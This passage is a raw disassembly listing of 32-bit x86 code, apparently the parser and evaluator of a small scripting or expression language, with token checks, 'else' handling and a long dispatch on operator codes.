		test	edi, edi
		jz	loc_4127B2
		mov	eax, [ebp-10h]
		call	sub_410EEB
		cmp	eax, 4
		jnz	short loc_41268C
		mov	ecx, [ebp-10h]
		call	sub_410F83
		mov	esi, eax
		call	sub_410FAD
		call	sub_4111D3
		test	eax, eax
		jz	short loc_41268C
		mov	eax, [ebp-10h]
		call	sub_410F14
		mov	ecx, edi
		jmp	short loc_4126D2
; ---------------------------------------------------------------------------

loc_41268C:				; CODE XREF: sub_41226A+3FCj
					; sub_41226A+414j
		mov	eax, [ebp-10h]
		call	sub_410F14
		xor	esi, esi
		cmp	[edi+8], esi
		jz	loc_4127B2
		push	18h
		call	sub_41BA91
		cmp	eax, esi
		pop	ecx
		jz	short loc_4126BB
		mov	ecx, [edi+8]
		mov	[eax+10h], esi
		mov	[eax+4], esi
		mov	[eax], esi
		mov	[eax+8], ecx
		mov	esi, eax

loc_4126BB:				; CODE XREF: sub_41226A+43Fj
		mov	eax, edi
		mov	ecx, esi
		call	sub_41002B
		push	esi
		lea	eax, [ebx+2C8h]
		call	sub_41377F
		mov	ecx, esi

loc_4126D2:				; CODE XREF: sub_41226A+420j
		lea	eax, [ebp-168h]
		call	sub_4136AB
		lea	esi, [ebp-40h]
		mov	byte ptr [ebp-4], 0
		call	sub_40FE7D

loc_4126E9:				; CODE XREF: sub_41226A+261j
					; sub_41226A+2D1j ...
		and	dword ptr [ebp-14h], 0
		jmp	short loc_412769
; ---------------------------------------------------------------------------

loc_4126EF:				; CODE XREF: sub_41226A+176j
		cmp	eax, 7
		jnz	short loc_41271A
		lea	esi, [ebx+104h]
		mov	[ebp-10h], esi
		call	sub_410A3B
		push	8
		mov	ecx, ebx
		mov	[ebx+154h], eax
		call	sub_41226A
		test	eax, eax
		jz	short loc_41278D
		jmp	loc_412369
; ---------------------------------------------------------------------------

loc_41271A:				; CODE XREF: sub_41226A+488j
		cmp	eax, [ebp+8]
		jz	loc_4127C3
		cmp	eax, 0Bh
		jz	loc_4127BC
		cmp	eax, 0Ch
		jz	short loc_41278D
		cmp	eax, 6
		jz	short loc_41278D
		cmp	eax, 8
		jz	short loc_41278D
		cmp	eax, 5
		jz	loc_4127D5
		lea	ecx, [ebx+104h]
		push	1
		mov	[ebp-10h], ecx
		call	sub_410F83
		push	eax
		push	dword ptr [ebx+154h]
		lea	ebx, [ebp-168h]
		call	sub_413535
		mov	ebx, [ebp-20h]

loc_412769:				; CODE XREF: sub_41226A+A5j
					; sub_41226A+10Cj ...
		mov	esi, [ebp-10h]
		call	sub_410A3B
		mov	esi, [ebp-24h]
		mov	edi, [ebp-1Ch]
		mov	[ebx+154h], eax
		jmp	loc_4122A5
; ---------------------------------------------------------------------------

loc_412782:				; CODE XREF: sub_41226A+C1j
		mov	eax, ebx
		call	sub_41288D

loc_412789:				; CODE XREF: sub_41226A+546j
					; sub_41226A+557j
		test	eax, eax
		jnz	short loc_4127C3

loc_41278D:				; CODE XREF: sub_41226A+E6j
					; sub_41226A+F6j ...
		xor	edi, edi

loc_41278F:				; CODE XREF: sub_41226A+569j
		lea	esi, [ebp-158h]
		call	sub_413A1C
		lea	esi, [ebp-168h]
		call	sub_413A1C
		mov	eax, edi
		jmp	short loc_4127ED
; ---------------------------------------------------------------------------

loc_4127A9:				; CODE XREF: sub_41226A+DEj
		mov	eax, ebx
		call	sub_412963
		jmp	short loc_412789
; ---------------------------------------------------------------------------

loc_4127B2:				; CODE XREF: sub_41226A+3EBj
					; sub_41226A+42Fj
		lea	esi, [ebp-40h]
		call	sub_40FE7D
		jmp	short loc_41278D
; ---------------------------------------------------------------------------

loc_4127BC:				; CODE XREF: sub_41226A+4BCj
		call	sub_412810
		jmp	short loc_412789
; ---------------------------------------------------------------------------

loc_4127C3:				; CODE XREF: sub_41226A+4B3j
					; sub_41226A+521j
		push	0
		lea	eax, [ebp-168h]
		push	eax
		call	sub_412B5E
		mov	edi, eax
		jmp	short loc_41278F
; ---------------------------------------------------------------------------

loc_4127D5:				; CODE XREF: sub_41226A+42j
					; sub_41226A+51j ...
		lea	esi, [ebp-158h]
		call	sub_413A1C
		lea	esi, [ebp-168h]
		call	sub_413A1C
		xor	eax, eax

loc_4127ED:				; CODE XREF: sub_41226A+53Dj
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_41226A	endp

; ---------------------------------------------------------------------------

loc_4127FE:				; CODE XREF: .text:00427CD6j
		push	esi
		lea	esi, [edi+10h]
		call	sub_413A1C
		mov	esi, edi
		call	sub_413A1C
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_412810	proc near		; CODE XREF: .text:loc_412248p
					; sub_41226A:loc_4127BCp
		inc	dword ptr [ebx+158h]
		push	esi
		lea	esi, [ebx+104h]
		call	sub_410A3B
		cmp	eax, 0Ch
		mov	[ebx+154h], eax
		jz	short loc_41284A

loc_41282D:				; CODE XREF: sub_412810+38j
		push	6
		mov	ecx, ebx
		call	sub_41226A
		test	eax, eax
		jz	short loc_412889
		call	sub_410A3B
		cmp	eax, 0Ch
		mov	[ebx+154h], eax
		jnz	short loc_41282D

loc_41284A:				; CODE XREF: sub_412810+1Bj
		push	edi
		push	dword ptr [ebx+158h]
		lea	edi, [ebx+2A8h]
		call	sub_413F06
		push	dword ptr [ebx+158h]
		lea	edi, [ebx+288h]
		call	sub_413F06
		push	0
		push	dword ptr [ebx+158h]
		lea	eax, [ebx+2C8h]
		call	sub_4137A8
		dec	dword ptr [ebx+158h]
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412889:				; CODE XREF: sub_412810+28j
		xor	eax, eax
		pop	esi
		retn
sub_412810	endp


; =============== S U B	R O U T	I N E =======================================



sub_41288D	proc near		; CODE XREF: sub_41226A+51Ap
		push	ebp
		push	esi
		push	edi
		mov	edi, eax
		lea	esi, [edi+104h]
		xor	ebp, ebp
		call	sub_410A3B
		xor	ecx, ecx
		cmp	eax, 7
		setnz	cl
		mov	eax, ecx
		test	eax, eax
		mov	[edi+154h], eax
		jz	short loc_4128BA
		xor	eax, eax
		jmp	loc_41295F
; ---------------------------------------------------------------------------

loc_4128BA:				; CODE XREF: sub_41288D+24j
		push	ebx
		call	sub_410A3B
		push	8
		mov	ecx, edi
		mov	[edi+154h], eax
		call	sub_41226A
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4128DC

loc_4128D5:				; CODE XREF: sub_41288D+72j
					; sub_41288D+C0j
		xor	eax, eax
		jmp	loc_41295E
; ---------------------------------------------------------------------------

loc_4128DC:				; CODE XREF: sub_41288D+46j
		call	sub_410A3B
		mov	[edi+154h], eax
		mov	eax, [ebx+10h]
		or	eax, [ebx+14h]
		jz	short loc_412901
		xor	ebp, ebp
		push	6
		mov	ecx, edi
		inc	ebp
		call	sub_41226A
		test	eax, eax
		jnz	short loc_412906
		jmp	short loc_4128D5
; ---------------------------------------------------------------------------

loc_412901:				; CODE XREF: sub_41288D+60j
		call	sub_4129E5

loc_412906:				; CODE XREF: sub_41288D+70j
		mov	eax, esi
		call	sub_410EEB
		push	offset aElse	; "else"
		mov	ecx, esi
		call	sub_410F83
		push	eax
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_412954
		mov	eax, esi
		call	sub_410F14
		call	sub_410A3B
		call	sub_410A3B
		test	ebp, ebp
		mov	[edi+154h], eax
		jnz	short loc_41294F
		push	6
		mov	ecx, edi
		call	sub_41226A
		test	eax, eax
		jnz	short loc_412954
		jmp	short loc_4128D5
; ---------------------------------------------------------------------------

loc_41294F:				; CODE XREF: sub_41288D+B1j
		call	sub_4129E5

loc_412954:				; CODE XREF: sub_41288D+96j
					; sub_41288D+BEj
		mov	eax, esi
		call	sub_410F14
		xor	eax, eax
		inc	eax

loc_41295E:				; CODE XREF: sub_41288D+4Aj
		pop	ebx

loc_41295F:				; CODE XREF: sub_41288D+28j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41288D	endp


; =============== S U B	R O U T	I N E =======================================



sub_412963	proc near		; CODE XREF: sub_41226A+541p
		push	esi
		push	edi
		mov	edi, eax
		lea	esi, [edi+104h]
		call	sub_410A3B
		xor	ecx, ecx
		cmp	eax, 7
		setnz	cl
		mov	eax, ecx
		test	eax, eax
		mov	[edi+154h], eax
		jz	short loc_41298A
		xor	eax, eax
		jmp	short loc_4129E2
; ---------------------------------------------------------------------------

loc_41298A:				; CODE XREF: sub_412963+21j
		push	ebx
		push	ebp
		mov	ebp, [edi+124h]

loc_412992:				; CODE XREF: sub_412963+60j
		call	sub_410A3B
		mov	ecx, edi
		push	8
		mov	[edi+154h], eax
		call	sub_41226A
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4129C5

loc_4129AC:				; CODE XREF: sub_412963+58j
		xor	eax, eax
		jmp	short loc_4129E0
; ---------------------------------------------------------------------------

loc_4129B0:				; CODE XREF: sub_412963+73j
		push	6
		mov	ecx, edi
		call	sub_41226A
		test	eax, eax
		jz	short loc_4129AC
		mov	[edi+124h], ebp
		jmp	short loc_412992
; ---------------------------------------------------------------------------

loc_4129C5:				; CODE XREF: sub_412963+47j
		call	sub_410A3B
		mov	[edi+154h], eax
		mov	eax, [ebx+10h]
		or	eax, [ebx+14h]
		jnz	short loc_4129B0
		call	sub_4129E5
		xor	eax, eax
		inc	eax

loc_4129E0:				; CODE XREF: sub_412963+4Bj
		pop	ebp
		pop	ebx

loc_4129E2:				; CODE XREF: sub_412963+25j
		pop	edi
		pop	esi
		retn
sub_412963	endp


; =============== S U B	R O U T	I N E =======================================



sub_4129E5	proc near		; CODE XREF: sub_41288D:loc_412901p
					; sub_41288D:loc_41294Fp ...
		mov	eax, [edi+154h]
		cmp	eax, 0Bh
		push	esi
		jnz	short loc_412A1B
		push	ebx
		xor	ebx, ebx
		inc	ebx
		lea	esi, [edi+104h]

loc_4129FB:				; CODE XREF: sub_4129E5+31j
		call	sub_410A3B
		cmp	eax, 0Bh
		mov	[edi+154h], eax
		jnz	short loc_412A0E
		inc	ebx
		jmp	short loc_412A14
; ---------------------------------------------------------------------------

loc_412A0E:				; CODE XREF: sub_4129E5+24j
		cmp	eax, 0Ch
		jnz	short loc_412A14
		dec	ebx

loc_412A14:				; CODE XREF: sub_4129E5+27j
					; sub_4129E5+2Cj
		test	ebx, ebx
		jnz	short loc_4129FB
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412A1B:				; CODE XREF: sub_4129E5+Aj
		cmp	eax, 6
		jz	short loc_412A36
		lea	esi, [edi+104h]

loc_412A26:				; CODE XREF: sub_4129E5+4Fj
		call	sub_410A3B
		cmp	eax, 6
		mov	[edi+154h], eax
		jnz	short loc_412A26

loc_412A36:				; CODE XREF: sub_4129E5+39j
		pop	esi
		retn
sub_4129E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_412A38	proc near		; CODE XREF: sub_41226A+EFp
		mov	eax, offset loc_427D97
		call	sub_41E550
		sub	esp, 14h
		push	ebx
		xor	eax, eax
		push	esi
		push	edi
		mov	ebx, ecx
		mov	[ebp-1Ch], eax
		mov	[ebp-18h], eax
		mov	[ebp-14h], eax
		lea	esi, [ebx+104h]
		mov	[ebp-4], eax
		call	sub_410A3B
		cmp	eax, 7
		jnz	loc_412B1F
		call	sub_410A3B
		mov	edi, [ebp+8]
		mov	[ebx+154h], eax
		mov	eax, [edi+110h]
		test	eax, eax
		jbe	short loc_412AE1
		mov	dword ptr [ebp+8], 1

loc_412A8B:				; CODE XREF: sub_412A38+A7j
		xor	ecx, ecx
		cmp	[ebp+8], eax
		setnz	cl
		dec	ecx
		and	ecx, 3
		add	ecx, 5
		push	ecx
		mov	ecx, ebx
		call	sub_41226A
		test	eax, eax
		mov	[ebp-10h], eax
		jz	short loc_412B1F
		lea	esi, [ebp-10h]
		lea	eax, [ebp-20h]
		call	sub_413F72
		mov	eax, [ebp+8]
		cmp	eax, [edi+110h]
		jz	short loc_412AD0
		lea	esi, [ebx+104h]
		call	sub_410A3B
		mov	[ebx+154h], eax

loc_412AD0:				; CODE XREF: sub_412A38+85j
		inc	dword ptr [ebp+8]
		mov	ecx, [ebp+8]
		mov	eax, [edi+110h]
		dec	ecx
		cmp	ecx, eax
		jb	short loc_412A8B

loc_412AE1:				; CODE XREF: sub_412A38+4Aj
		push	dword ptr [ebx+2D8h]
		lea	eax, [ebp-20h]
		push	eax
		call	sub_413838
		mov	esi, eax
		push	esi
		lea	eax, [ebx+2C8h]
		call	sub_41377F
		test	esi, esi
		jz	short loc_412B1F
		mov	edi, esi

loc_412B04:				; CODE XREF: sub_412A38+E9j
		lea	esi, [ebp-20h]
		call	sub_413A1C
		mov	ecx, [ebp-0Ch]
		mov	eax, edi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_412B1F:				; CODE XREF: sub_412A38+2Ej
					; sub_412A38+6Fj ...
		xor	edi, edi
		jmp	short loc_412B04
sub_412A38	endp


; =============== S U B	R O U T	I N E =======================================



sub_412B23	proc near		; CODE XREF: sub_41226A+24p
		mov	eax, offset loc_427DA9
		call	sub_41E550
		mov	eax, [ebp+8]
		xor	ecx, ecx
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		mov	[eax+14h], ecx
		mov	[eax+18h], ecx
		mov	[eax+1Ch], ecx
		mov	[eax+20h], ecx
		mov	ecx, [ebp+0Ch]
		mov	[eax+124h], ecx
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		leave
		retn	8
sub_412B23	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_412B5E	proc near		; CODE XREF: sub_41226A+562p
		mov	eax, offset loc_427C4B
		call	sub_41E550
		mov	eax, 2AE0h
		call	sub_41E090
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		push	dword ptr [ebx+20h]
		lea	eax, [ebx+24h]
		call	sub_41124B
		test	eax, eax
		pop	ecx
		jnz	loc_413531
		push	18h
		call	sub_41BA91
		xor	edi, edi
		cmp	eax, edi
		pop	ecx
		jz	short loc_412BAD
		mov	ecx, [ebp+0Ch]
		mov	[eax+10h], edi
		mov	[eax+8], ecx
		mov	[eax+4], edi
		mov	[eax], edi
		mov	[ebp+0Ch], eax
		jmp	short loc_412BB0
; ---------------------------------------------------------------------------

loc_412BAD:				; CODE XREF: sub_412B5E+3Aj
		mov	[ebp+0Ch], edi

loc_412BB0:				; CODE XREF: sub_412B5E+4Dj
		lea	eax, [ebx+124h]
		mov	ecx, [eax]
		mov	edx, [ecx+158h]
		mov	ecx, [ebp+0Ch]
		mov	[ecx], edx
		mov	eax, [eax]
		push	ecx
		add	eax, 2C8h
		call	sub_41377F
		lea	eax, [ebx+10h]
		mov	[ebp-14h], eax
		call	sub_413A4F
		test	eax, eax
		jz	loc_4134C7

loc_412BE3:				; CODE XREF: sub_412B5E+961j
		mov	eax, [ebx+18h]
		push	42h
		lea	esi, [eax-108h]
		pop	ecx
		lea	edi, [ebp-185Ch]
		rep movsd
		mov	esi, [ebp-14h]
		call	sub_413A09
		mov	eax, [ebp-1758h]
		cmp	eax, 6
		jnz	short loc_412C1F
		mov	eax, [ebx+8]
		mov	esi, [eax-4]
		sub	eax, 108h
		call	sub_4105A6
		jmp	loc_4134B5
; ---------------------------------------------------------------------------

loc_412C1F:				; CODE XREF: sub_412B5E+AAj
		cmp	eax, 12h
		jnz	short loc_412C3C
		mov	eax, [ebx+8]
		sub	eax, 108h
		mov	eax, [eax+104h]
		call	sub_410583
		jmp	loc_4134B5
; ---------------------------------------------------------------------------

loc_412C3C:				; CODE XREF: sub_412B5E+C4j
		cmp	eax, 0Fh
		jnz	short loc_412C56
		mov	eax, [ebx+8]
		mov	ecx, [eax-4]
		sub	eax, 108h
		call	sub_4105E6
		jmp	loc_4134B5
; ---------------------------------------------------------------------------

loc_412C56:				; CODE XREF: sub_412B5E+E1j
		cmp	eax, 10h
		jnz	short loc_412CAD
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-29E4h]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-0D04h]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	ecx, [ebp-28E0h]
		mov	eax, [ebp-0C00h]
		call	sub_41052D
		lea	eax, [ebp-0D04h]
		jmp	loc_4134AD
; ---------------------------------------------------------------------------

loc_412CAD:				; CODE XREF: sub_412B5E+FBj
		cmp	eax, 11h
		jnz	short loc_412D04
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-1B74h]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-164Ch]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	ecx, [ebp-1A70h]
		mov	eax, [ebp-1548h]
		call	sub_410558
		lea	eax, [ebp-164Ch]
		jmp	loc_4134AD
; ---------------------------------------------------------------------------

loc_412D04:				; CODE XREF: sub_412B5E+152j
		cmp	eax, 13h
		jnz	short loc_412D5B
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-23B4h]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-7DCh]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	eax, [ebp-22B0h]
		mov	esi, [ebp-6D8h]
		call	sub_410602
		lea	eax, [ebp-7DCh]
		jmp	loc_4134AD
; ---------------------------------------------------------------------------

loc_412D5B:				; CODE XREF: sub_412B5E+1A9j
		cmp	eax, 16h
		jnz	short loc_412DB9
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-1D84h]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-101Ch]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	eax, [ebp-1C80h]
		mov	esi, [ebp-0F18h]
		call	sub_410602
		mov	eax, esi
		call	sub_410583
		lea	eax, [ebp-101Ch]
		jmp	loc_4134AD
; ---------------------------------------------------------------------------

loc_412DB9:				; CODE XREF: sub_412B5E+200j
		cmp	eax, 14h
		jnz	short loc_412E10
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-27D4h]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-9ECh]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	edi, [ebp-26D0h]
		mov	esi, [ebp-8E8h]
		call	sub_41071F
		lea	eax, [ebp-9ECh]
		jmp	loc_4134AD
; ---------------------------------------------------------------------------

loc_412E10:				; CODE XREF: sub_412B5E+25Ej
		cmp	eax, 15h
		jnz	short loc_412E67
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-1F94h]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-143Ch]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	edi, [ebp-1E90h]
		mov	esi, [ebp-1338h]
		call	sub_410816
		lea	eax, [ebp-143Ch]
		jmp	loc_4134AD
; ---------------------------------------------------------------------------

loc_412E67:				; CODE XREF: sub_412B5E+2B5j
		cmp	eax, 17h
		jnz	loc_412F38
		mov	eax, [ebx+8]
		push	42h
		lea	esi, [eax-108h]
		pop	ecx
		lea	edi, [ebp-25C4h]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	eax, [ebx+8]
		push	42h
		lea	esi, [eax-108h]
		pop	ecx
		lea	edi, [ebp-1ACh]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		xor	eax, eax
		mov	[ebp-1Ch], eax
		mov	[ebp-24h], eax
		mov	[ebp-28h], eax
		mov	[ebp-2Ch], eax
		mov	[ebp-4], eax
		mov	[ebp-64h], eax
		mov	[ebp-6Ch], eax
		mov	[ebp-70h], eax
		mov	[ebp-74h], eax
		mov	byte ptr [ebp-4], 1
		mov	eax, [ebp-0A8h]
		lea	ecx, [ebp-2Ch]
		call	sub_41002B
		mov	eax, [ebp-0A8h]
		lea	ecx, [ebp-74h]
		call	sub_41002B
		mov	edi, [ebp-24C0h]
		lea	esi, [ebp-2Ch]
		call	sub_41071F
		mov	eax, edi
		lea	esi, [ebp-74h]
		call	sub_410602
		lea	ecx, [ebp-74h]
		lea	eax, [ebp-2Ch]
		call	sub_410558
		mov	ecx, [ebp-0A8h]
		lea	eax, [ebp-2Ch]
		call	sub_41002B
		lea	eax, [ebp-1ACh]
		push	eax
		mov	eax, ebx
		call	sub_4139C6
		call	sub_40FE7D
		lea	esi, [ebp-2Ch]

loc_412F2A:				; CODE XREF: sub_412B5E+4A1j
					; sub_412B5E+5C3j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_40FE7D
		jmp	loc_4134B5
; ---------------------------------------------------------------------------

loc_412F38:				; CODE XREF: sub_412B5E+30Cj
		cmp	eax, 18h
		jnz	loc_413004
		mov	eax, [ebx+8]
		push	42h
		lea	esi, [eax-108h]
		pop	ecx
		lea	edi, [ebp-21A4h]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	eax, [ebx+8]
		push	42h
		lea	esi, [eax-108h]
		pop	ecx
		lea	edi, [ebp-2B4h]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		xor	eax, eax
		mov	[ebp-34h], eax
		mov	[ebp-3Ch], eax
		mov	[ebp-40h], eax
		mov	[ebp-44h], eax
		mov	dword ptr [ebp-4], 2
		mov	[ebp-4Ch], eax
		mov	[ebp-54h], eax
		mov	[ebp-58h], eax
		mov	[ebp-5Ch], eax
		mov	byte ptr [ebp-4], 3
		mov	eax, [ebp-1B0h]
		lea	ecx, [ebp-44h]
		call	sub_41002B
		mov	eax, [ebp-1B0h]
		lea	ecx, [ebp-5Ch]
		call	sub_41002B
		mov	edi, [ebp-20A0h]
		lea	esi, [ebp-44h]
		call	sub_410816
		mov	eax, edi
		lea	esi, [ebp-5Ch]
		call	sub_410602
		lea	ecx, [ebp-5Ch]
		lea	eax, [ebp-44h]
		call	sub_410558
		mov	ecx, [ebp-1B0h]
		lea	eax, [ebp-44h]
		call	sub_41002B
		lea	eax, [ebp-2B4h]
		push	eax
		mov	eax, ebx
		call	sub_4139C6
		call	sub_40FE7D
		lea	esi, [ebp-44h]
		jmp	loc_412F2A
; ---------------------------------------------------------------------------

loc_413004:				; CODE XREF: sub_412B5E+3DDj
		cmp	eax, 2
		jnz	short loc_41305B
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-1964h]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-0BFCh]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	eax, [ebp-1860h]
		mov	ecx, [ebp-0AF8h]
		call	sub_4100B9
		lea	eax, [ebp-0BFCh]
		jmp	loc_4134AD
; ---------------------------------------------------------------------------

loc_41305B:				; CODE XREF: sub_412B5E+4A9j
		cmp	eax, 3
		jnz	short loc_4130B2
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-1A6Ch]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-122Ch]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	edi, [ebp-1968h]
		mov	esi, [ebp-1128h]
		call	sub_4101DB
		lea	eax, [ebp-122Ch]
		jmp	loc_4134AD
; ---------------------------------------------------------------------------

loc_4130B2:				; CODE XREF: sub_412B5E+500j
		cmp	eax, 4
		jnz	short loc_413126
		mov	eax, [ebx+8]
		push	42h
		lea	esi, [eax-108h]
		pop	ecx
		lea	edi, [ebp-0E0Ch]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		xor	ecx, ecx
		mov	[ebp-0A0h], ecx
		mov	[ebp-0A4h], ecx
		xor	eax, eax
		mov	dword ptr [ebp-4], 4
		inc	eax
		mov	[ebp-94h], eax
		mov	[ebp-90h], ecx
		mov	ecx, [ebp-0D08h]
		mov	[ebp-9Ch], eax
		lea	eax, [ebp-0A4h]
		call	sub_4100B9
		lea	eax, [ebp-0E0Ch]
		push	eax
		mov	eax, ebx
		call	sub_4139C6
		lea	esi, [ebp-0A4h]
		jmp	loc_412F2A
; ---------------------------------------------------------------------------

loc_413126:				; CODE XREF: sub_412B5E+557j
		cmp	eax, 5
		jnz	short loc_413194
		mov	eax, [ebx+8]
		push	42h
		lea	esi, [eax-108h]
		pop	ecx
		lea	edi, [ebp-5CCh]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		xor	ecx, ecx
		mov	[ebp-88h], ecx
		mov	[ebp-8Ch], ecx
		mov	dword ptr [ebp-4], 5
		mov	esi, [ebp-4C8h]
		xor	eax, eax
		inc	eax
		lea	edi, [ebp-8Ch]
		mov	[ebp-7Ch], eax
		mov	[ebp-78h], ecx
		mov	[ebp-84h], eax
		call	sub_4101DB
		lea	eax, [ebp-5CCh]
		push	eax
		mov	eax, ebx
		call	sub_4139C6
		lea	esi, [ebp-8Ch]
		jmp	loc_412F2A
; ---------------------------------------------------------------------------

loc_413194:				; CODE XREF: sub_412B5E+5CBj
		cmp	eax, 7
		jnz	short loc_4131EB
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-1C7Ch]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-6D4h]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	edi, [ebp-1B78h]
		mov	esi, [ebp-5D0h]
		call	sub_4102C7
		lea	eax, [ebp-6D4h]
		jmp	loc_4134AD
; ---------------------------------------------------------------------------

loc_4131EB:				; CODE XREF: sub_412B5E+639j
		cmp	eax, 8
		jnz	short loc_413242
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-1E8Ch]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-8E4h]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	edi, [ebp-1D88h]
		mov	esi, [ebp-7E0h]
		call	sub_4103C3
		lea	eax, [ebp-8E4h]
		jmp	loc_4134AD
; ---------------------------------------------------------------------------

loc_413242:				; CODE XREF: sub_412B5E+690j
		cmp	eax, 9
		jnz	short loc_4132A5
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-209Ch]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-0AF4h]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	ebx, [ebp-1F98h]
		mov	edi, [ebp-9F0h]
		call	sub_4104A3
		lea	eax, [ebp-0AF4h]

loc_413294:				; CODE XREF: sub_412B5E+799j
					; sub_412B5E+7EDj ...
		push	eax
		mov	eax, [ebp+8]
		call	sub_4139C6
		mov	ebx, [ebp+8]
		jmp	loc_4134B5
; ---------------------------------------------------------------------------

loc_4132A5:				; CODE XREF: sub_412B5E+6E7j
		cmp	eax, 0Ah
		jnz	short loc_4132F9
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-22ACh]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-4C4h]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	ebx, [ebp-21A8h]
		mov	edi, [ebp-3C0h]
		call	sub_4104D3
		lea	eax, [ebp-4C4h]
		jmp	short loc_413294
; ---------------------------------------------------------------------------

loc_4132F9:				; CODE XREF: sub_412B5E+74Aj
		cmp	eax, 0Bh
		jnz	short loc_413350
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-24BCh]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-0F14h]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	ebx, [ebp-23B8h]
		mov	edi, [ebp-0E10h]
		call	sub_410500
		lea	eax, [ebp-0F14h]
		jmp	loc_413294
; ---------------------------------------------------------------------------

loc_413350:				; CODE XREF: sub_412B5E+79Ej
		cmp	eax, 0Ch
		jnz	short loc_4133A7
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-26CCh]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
		mov	esi, [ebx+8]
		push	42h
		sub	esi, 108h
		pop	ecx
		lea	edi, [ebp-1124h]
		rep movsd
		mov	esi, ebx
		call	sub_413A09
